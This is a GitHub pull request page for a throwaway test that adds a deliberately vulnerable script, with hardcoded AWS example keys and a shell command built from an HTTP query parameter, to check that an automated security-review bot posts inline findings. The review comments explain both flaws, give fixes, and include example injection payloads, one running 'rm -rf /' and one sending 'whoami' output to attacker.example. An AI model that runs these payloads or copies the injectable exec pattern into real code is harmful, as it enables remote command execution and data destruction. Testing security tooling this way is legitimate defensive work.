test(security-review): smoke-test inline comment posting (delete after verify)#1294
test(security-review): smoke-test inline comment posting (delete after verify)#1294tejaskash wants to merge 1 commit into
Conversation
…st inline comments
| const url = new URL(req.url, 'http://localhost'); | ||
| const target = url.searchParams.get('host') ?? 'localhost'; | ||
|
|
||
| exec(`ping -c 1 ${target}`, (err, stdout, stderr) => { |
Package TarballHow to installnpm install https://github.com/aws/agentcore-cli/releases/download/pr-1294-tarball/aws-agentcore-0.14.0.tgz |
agentcore-cli-automation
left a comment
There was a problem hiding this comment.
This is a smoke-test PR with deliberate vulnerabilities and the description says to close without merging once the security-review workflow has been verified. Requesting changes so this can't be accidentally merged.
Flagging the two intended findings inline to confirm the inline-comment-posting path works. Once verification is complete, please close this PR (or revert scripts/__sec_review_smoketest.mjs) rather than merging — this file should never land on main.
|
|
||
| // FINDING 1 (hardcoded credential): AWS-shaped access key checked into source. | ||
| const HARDCODED_AWS_ACCESS_KEY_ID = 'AKIAIOSFODNN7EXAMPLE'; | ||
| const HARDCODED_AWS_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'; |
There was a problem hiding this comment.
Hardcoded AWS credentials (intended finding 1).
Lines 8–9 commit AWS-shaped access key material directly into source. Even though these are the well-known AKIAIOSFODNN7EXAMPLE / wJalrXUtnFEMI...EXAMPLEKEY documentation values (so no real account is exposed), the pattern is exactly what secret scanners and git-secrets flag, and merging it would create noise for downstream tooling and a bad template for copy/paste. Confirming the file is reverted/closed before merge.
(Confirming Claude Security Review's inline-comment path is functioning by posting this comment on a PR-context event.)
| const url = new URL(req.url, 'http://localhost'); | ||
| const target = url.searchParams.get('host') ?? 'localhost'; | ||
|
|
||
| exec(`ping -c 1 ${target}`, (err, stdout, stderr) => { |
There was a problem hiding this comment.
OS command injection via exec (intended finding 2).
target comes from the untrusted ?host= query parameter and is interpolated directly into a shell command string passed to child_process.exec. A request like /?host=localhost;rm%20-rf%20/ would execute attacker-controlled commands on the server. CodeQL has already flagged this as well ("Uncontrolled command line").
If this code were ever intended to ship, the fix would be one of:
- Use
execFile('ping', ['-c', '1', target])so arguments aren't parsed by a shell. - Validate
targetagainst a strict allow-list / hostname regex before use. - Avoid shelling out entirely and use a network library.
But per the PR description this file is a smoke-test artifact and should be removed before merge.
Coverage Report
|
| const url = new URL(req.url, 'http://localhost'); | ||
| const target = url.searchParams.get('host') ?? 'localhost'; | ||
|
|
||
| exec(`ping -c 1 ${target}`, (err, stdout, stderr) => { | ||
| if (err) { |
There was a problem hiding this comment.
Severity: HIGH
Category: command_injection
Confidence: 0.98
The HTTP handler reads the host query-string parameter directly from the request URL and interpolates it into a shell command passed to child_process.exec(). Because exec() spawns /bin/sh -c <string>, any shell metacharacter in target is interpreted by the shell, giving an unauthenticated remote attacker arbitrary OS command execution as the user running the server.
Exploit scenario: An attacker sends GET /?host=localhost;id;curl%20attacker.example/$(whoami) to the listening server. The shell evaluates the ;-separated commands and the command-substitution, exfiltrating data and executing arbitrary code on the host. Any request that reaches this server (local network, exposed port, SSRF pivot, etc.) is sufficient.
Recommendation: Do not build shell strings from untrusted input. Use child_process.execFile('ping', ['-c', '1', target], …) so arguments are passed as an argv array and never parsed by a shell, and additionally validate target against a strict allowlist (e.g., /^[A-Za-z0-9.\-]+$/) before use.
| const url = new URL(req.url, 'http://localhost'); | |
| const target = url.searchParams.get('host') ?? 'localhost'; | |
| exec(`ping -c 1 ${target}`, (err, stdout, stderr) => { | |
| if (err) { | |
| const target = url.searchParams.get('host') ?? 'localhost'; | |
| if (!/^[A-Za-z0-9.\-]+$/.test(target)) { | |
| res.writeHead(400); | |
| res.end('invalid host'); | |
| return; | |
| } | |
| execFile('ping', ['-c', '1', target], (err, stdout, stderr) => { |
| const HARDCODED_AWS_ACCESS_KEY_ID = 'AKIAIOSFODNN7EXAMPLE'; | ||
| const HARDCODED_AWS_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'; |
There was a problem hiding this comment.
Severity: HIGH
Category: hardcoded_credentials
Confidence: 0.85
AWS-shaped access key ID and secret access key are hardcoded as module-level constants and consumed by buildSignedRequest() to sign outbound requests. Even though these particular values match the well-known AWS documentation example pair (and so are not live credentials today), committing real-looking AWS keys to source establishes a pattern that, if repeated with a real key, would leak production credentials to anyone with repo read access (including any future public mirror, fork, or CI artifact). Secrets used for request signing must never be embedded in source.
Exploit scenario: A developer copies this pattern and substitutes a real AKIA… key + secret. The credentials are then permanently retrievable from git history by every current and future repo reader (and from any third-party that mirrors or scrapes the repo), allowing them to call AWS APIs as that principal until the key is rotated.
Recommendation: Remove the hardcoded values. Load AWS credentials from the standard credential chain (env vars, ~/.aws/credentials, instance/role metadata) via the AWS SDK's default provider, e.g. import { fromNodeProviderChain } from '@aws-sdk/credential-providers' and pass the resolved provider to the SDK client — never construct ad-hoc AWS4-HMAC-SHA256 headers from in-source constants.
|
Claude Security Review: posted 2 inline findings on this PR. (run) |
Summary
Throwaway PR to verify the Claude Security Review workflow posts inline review comments on PR-context events. Adds
scripts/__sec_review_smoketest.mjswith two deliberate findings the bot should flag:child_process.execinterpolating an HTTP query parameter at line 26Expected behavior
pull_request_targetfires theClaude Security Reviewworkflow.mcp__github_inline_comment__create_inline_commentMCP server registers (since this is now a PR-context event).scripts/__sec_review_smoketest.mjsplus a top-level summary comment via the workflow's summary step.Cleanup
Close without merging once verification is complete.